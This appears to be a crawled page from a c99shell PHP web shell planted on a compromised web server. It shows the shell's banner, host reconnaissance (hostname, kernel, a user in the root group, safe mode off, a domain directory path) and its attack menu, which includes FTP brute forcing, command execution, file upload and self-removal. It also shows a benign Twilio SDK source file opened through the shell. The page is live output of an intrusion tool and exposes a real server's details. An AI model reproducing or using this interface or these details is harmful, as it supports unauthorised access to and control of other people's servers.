!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/twilio/sdk/src/Twilio/Http/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GuzzleClient.php (3.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php


namespace Twilio\Http;


use 
GuzzleHttp\ClientInterface;
use 
GuzzleHttp\Exception\BadResponseException;
use 
GuzzleHttp\Psr7\Query;
use 
GuzzleHttp\Psr7\Request;
use 
Twilio\Exceptions\HttpException;

final class 
GuzzleClient implements Client {
    
/**
     * @var ClientInterface
     */
    
private $client;

    public function 
__construct(ClientInterface $client) {
        
$this->client $client;
    }

    public function 
request(string $methodstring $url,
                            array 
$params = [], array $data = [], array $headers = [],
                            
string $user nullstring $password null,
                            
int $timeout null): Response {
        try {
            
$options = [
                
'timeout' => $timeout,
                
'auth' => [$user$password],
                
'allow_redirects' => false,
            ];

            if (
$params) {
                
$options['query'] = $params;
            }

            if (
$method === 'POST') {
                if (
$this->hasFile($data)) {
                    
$options['multipart'] = $this->buildMultipartParam($data);
                } else {
                    
$options['body'] = Query::build($dataPHP_QUERY_RFC1738);
                    
$headers['Content-Type'] = 'application/x-www-form-urlencoded';
                }
            }

            
$response $this->client->send(new Request($method$url$headers), $options);
        } catch (
BadResponseException $exception) {
            
$response $exception->getResponse();
        } catch (
\Exception $exception) {
            throw new 
HttpException('Unable to complete the HTTP request'0$exception);
        }

        
// Casting the body (stream) to a string performs a rewind, ensuring we return the entire response.
        // See https://stackoverflow.com/a/30549372/86696
        
return new Response($response->getStatusCode(), (string)$response->getBody(), $response->getHeaders());
    }

    private function 
hasFile(array $data): bool {
        foreach (
$data as $value) {
            if (
$value instanceof File) {
                return 
true;
            }
        }

        return 
false;
    }

    private function 
buildMultipartParam(array $data): array {
        
$multipart = [];
        foreach (
$data as $key => $value) {
            if (
$value instanceof File) {
                
$contents $value->getContents();
                if (
$contents === null) {
                    
$contents fopen($value->getFileName(), 'rb');
                }

                
$chunk = [
                    
'name' => $key,
                    
'contents' => $contents,
                    
'filename' => $value->getFileName(),
                ];

                if (
$value->getContentType() !== null) {
                    
$chunk['headers']['Content-Type'] = $value->getContentType();
                }
            } else {
                
$chunk = [
                    
'name' => $key,
                    
'contents' => $value,
                ];
            }

            
$multipart[] = $chunk;
        }

        return 
$multipart;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0062 ]--